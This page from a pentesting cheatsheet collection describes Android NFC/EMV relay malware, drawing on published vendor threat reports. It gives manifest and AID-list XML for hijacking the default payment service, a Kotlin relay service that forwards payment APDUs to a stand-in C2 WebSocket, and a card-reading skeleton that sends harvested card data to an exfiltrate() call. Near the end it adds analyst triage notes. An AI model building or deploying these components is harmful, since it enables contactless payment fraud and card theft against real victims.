daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

android-hce-nfc-emv-relay-attacks.md (10558B)


      1 ---
      2 title: "Android HCE NFC/EMV Relay Attacks"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/android-hce-nfc-emv-relay-attacks.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Android HCE NFC/EMV Relay Attacks
     14 
     15 ## Overview
     16 
     17 Abuse of Android Host Card Emulation (HCE) allows a malicious app set as the default NFC payment service to relay EMV contactless transactions in real-time. The POS terminal talks ISO 14443-4/EMV to the phone; the app’s HostApduService receives APDUs and forwards them over a bidirectional C2 (often WebSocket) to a backend that crafts responses, which are relayed back to the POS. This enables live card emulation without local card data. Campaigns observed at scale rebrand as banks/government apps, prompt to become the default payment app, and auto-exfiltrate device/card data to Telegram bots/channels.<sup>[[1]](#references)</sup>
     18 
     19 Key traits
     20 - Android components: HostApduService + default NFC payment handler (category "payment")<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     21 - Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
     22 - Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
     23 - Roles: scanner (read EMV data) vs tapper (HCE/relay) builds
     24 
     25 ## Minimal implementation building blocks
     26 
     27 ### Manifest (become default payment HCE service)
     28 
     29 ```xml
     30 <uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
     31 <uses-permission android:name="android.permission.NFC"/>
     32 
     33 <application ...>
     34   <service
     35       android:name=".EmvRelayService"
     36       android:exported="true"
     37       android:permission="android.permission.BIND_NFC_SERVICE">
     38     <intent-filter>
     39       <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
     40     </intent-filter>
     41     <meta-data
     42       android:name="android.nfc.cardemulation.host_apdu_service"
     43       android:resource="@xml/aid_list"/>
     44   </service>
     45 </application>
     46 ```
     47 
     48 Example AID list with EMV payment category (only apps set as default payment can answer these AIDs):<sup>[[3]](#references)</sup>
     49 
     50 ```xml
     51 <?xml version="1.0" encoding="utf-8"?>
     52 <host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
     53     android:description="@string/app_name"
     54     android:requireDeviceUnlock="false">
     55   <aid-group android:category="payment" android:description="@string/app_name">
     56     <!-- PPSE (2PAY.SYS.DDF01) routing -->
     57     <aid-filter android:name="325041592E5359532E4444463031"/>
     58     <!-- Common EMV AIDs (examples): -->
     59     <aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
     60     <aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
     61     <aid-filter android:name="A00000002501"/>   <!-- AmEx -->
     62   </aid-group>
     63 </host-apdu-service>
     64 ```
     65 
     66 Prompt user to set default payment app (opens OS settings):
     67 
     68 ```kotlin
     69 val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
     70 startActivity(intent)
     71 ```
     72 
     73 ### HostApduService relay skeleton
     74 
     75 ```kotlin
     76 class EmvRelayService : HostApduService() {
     77   private var ws: okhttp3.WebSocket? = null
     78 
     79   override fun onCreate() {
     80     super.onCreate()
     81     // Establish C2 WebSocket early; authenticate and register device
     82     val client = okhttp3.OkHttpClient()
     83     val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
     84     ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
     85   }
     86 
     87   override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
     88     // Marshal APDU to C2 and block until response
     89     val id = System.nanoTime()
     90     val msg = mapOf(
     91       "type" to "apdu_command",
     92       "id" to id,
     93       "data" to commandApdu!!.toHex()
     94     )
     95     val response = sendAndAwait(msg) // wait for matching apdu_response{id}
     96     return response.hexToBytes()
     97   }
     98 
     99   override fun onDeactivated(reason: Int) {
    100     ws?.send("{\"type\":\"card_removed\"}")
    101   }
    102 
    103   private fun sendAndAwait(m: Any): String {
    104     // Implement correlation + timeout; handle error/blocked status
    105     // ...
    106     return "9000" // fall back to SW success if needed
    107   }
    108 }
    109 ```
    110 
    111 Utility note: Background service must respond within the POS timeout budget (~few hundred ms) per APDU; maintain a low-latency socket and pre-auth with the C2. Persist across process death using a foreground service as needed.
    112 
    113 ### Typical C2 command set (observed)
    114 
    115 ```text
    116 login / login_response
    117 register / register_device / register_response
    118 logout
    119 apdu_command / apdu_response
    120 card_info / clear_card_info / card_removed
    121 get_pin / pin_response
    122 check_status / status_response
    123 paired / unpaired
    124 update_required
    125 telegram_notification / telegram_response
    126 error
    127 ```
    128 
    129 ### EMV contactless exchange (primer)
    130 
    131 The POS drives the flow; the HCE app simply relays APDUs:
    132 
    133 - SELECT PPSE (2PAY.SYS.DDF01)
    134   - 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
    135 - SELECT application AID (e.g., VISA  A0000000031010)
    136   - 00 A4 04 00 len <AID> 00
    137 - GET PROCESSING OPTIONS (GPO)
    138   - 80 A8 00 00 Lc <PDOL data> 00
    139 - READ RECORD(S) per AFL
    140   - 00 B2 <SFI/record> 0C 00
    141 - GENERATE AC (ARQC/TC)
    142   - 80 AE 80 00 Lc <CDOL1 data> 00
    143 
    144 In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.
    145 
    146 ### Victim-side card harvesting with `IsoDep` + PPSE
    147 
    148 A complementary role is the **reader/scanner** build running on the victim phone. Instead of emulating a card to the POS, it waits for the victim to place a real payment card near the device, then talks directly to the card over **ISO-DEP** using Android's `NfcAdapter.ReaderCallback` + `android.nfc.tech.IsoDep` APIs. This is not HCE: the phone is acting as a **reader** for a contactless EMV card.<sup>[[6]](#references)</sup>
    149 
    150 Typical workflow:
    151 
    152 1. `onTagDiscovered(Tag)` obtains an `IsoDep` handle with `IsoDep.get(tag)`.<sup>[[5]](#references)</sup>
    153 2. The app calls `connect()` and often increases the APDU timeout with `setTimeout(120000)` to survive slow user interaction or backend waits.<sup>[[4]](#references)</sup>
    154 3. It sends **SELECT PPSE** (`2PAY.SYS.DDF01`) to enumerate payment applications exposed by the card.
    155 4. It parses returned TLV/EMV data to recover values such as **PAN/card number**, **expiry**, **application label**, and candidate **AIDs**.
    156 5. The harvested data is serialized and immediately exfiltrated, commonly over the same WebSocket/C2 channel later used by the HCE relay side.
    157 
    158 Minimal reader-mode skeleton:<sup>[[6]](#references)</sup>
    159 
    160 ```kotlin
    161 class VictimReader : NfcAdapter.ReaderCallback {
    162   override fun onTagDiscovered(tag: Tag) {
    163     val iso = IsoDep.get(tag) ?: return
    164     iso.connect()
    165     iso.setTimeout(120000)
    166 
    167     val ppse = hexToBytes("00A404000E325041592E5359532E444446303100")
    168     val fci = iso.transceive(ppse)
    169     // Parse TLV/FCI: label, AIDs, PAN/expiry from subsequent EMV records
    170     exfiltrate(fci)
    171   }
    172 }
    173 ```
    174 
    175 Practical notes:
    176 
    177 - `00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00` = `SELECT 2PAY.SYS.DDF01`
    178 - Reader-mode malware often combines this with a **local WebView** (`file:///android_asset/...`) that fakes a card verification flow while native code performs NFC reads in the background.<sup>[[6]](#references)</sup>
    179 - The **PIN is usually not read from NFC**. It is socially engineered in the fake UI and then merged into the exfiltrated card record.<sup>[[6]](#references)</sup>
    180 
    181 ### Analyst notes for hostile APK packaging
    182 
    183 Recent Android NFC fraud samples also use **malformed ZIP/APK paths** (for example fake absolute paths rooted under `/AndroidManifest.xml/`, `/classes.dex/`, or `/resources.arsc/`) to break brittle extraction and scoring pipelines. If `jadx`, `apktool`, or a custom unzip step fails early, treat that as a **suspicious anti-analysis signal** instead of benign corruption.<sup>[[6]](#references)</sup>
    184 
    185 Quick triage workflow:
    186 
    187 ```bash
    188 unzip -l sample.apk
    189 zipinfo -v sample.apk
    190 jadx sample.apk -d out-jadx
    191 apktool d sample.apk -o out-apktool
    192 ```
    193 
    194 If tools disagree about the file list, ZIP offsets, or `AndroidManifest.xml` decoding, rebuild a normalized sample before deeper reversing. Tools such as **apkInspector** are useful here because they inspect ZIP structure and still extract manifest-level artifacts from hostile APK containers.<sup>[[7]](#references)</sup>
    195 
    196 ## Operator workflows seen in the wild
    197 
    198 - Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup>
    199 - Event-triggered activation: NFC tap wakes HostApduService; the relay begins.<sup>[[1]](#references)</sup>
    200 - Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup>
    201 - Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI). The linked IOC repository provides campaign artifacts for defenders.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup><sup>[[8]](#references)</sup>
    202 
    203 ## References
    204 
    205 - [1] [Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices](https://zimperium.com/blog/tap-and-steal-the-rise-of-nfc-relay-malware-on-mobile-devices)
    206 - [2] [Android HostApduService](https://developer.android.com/reference/android/nfc/cardemulation/HostApduService)
    207 - [3] [Android HCE and Card Emulation docs](https://developer.android.com/guide/topics/connectivity/nfc/hce)
    208 - [4] [Android IsoDep API reference](https://developer.android.com/reference/android/nfc/tech/IsoDep)
    209 - [5] [Android NfcAdapter.ReaderCallback API reference](https://developer.android.com/reference/android/nfc/NfcAdapter.ReaderCallback)
    210 - [6] [D3Lab – NFCShare evolves: from a banking phishing APK to a GitHub-hosted Android NFC fraud campaign](https://www.d3lab.net/nfcshare-evolves-from-a-banking-phishing-apk-to-a-github-hosted-android-nfc-fraud-campaign/)
    211 - [7] [apkInspector](https://github.com/erev0s/apkInspector)
    212 - [8] [Zimperium IOCs – 2025-10-NFCStealer](https://github.com/Zimperium/IOC/tree/master/2025-10-NFCStealer)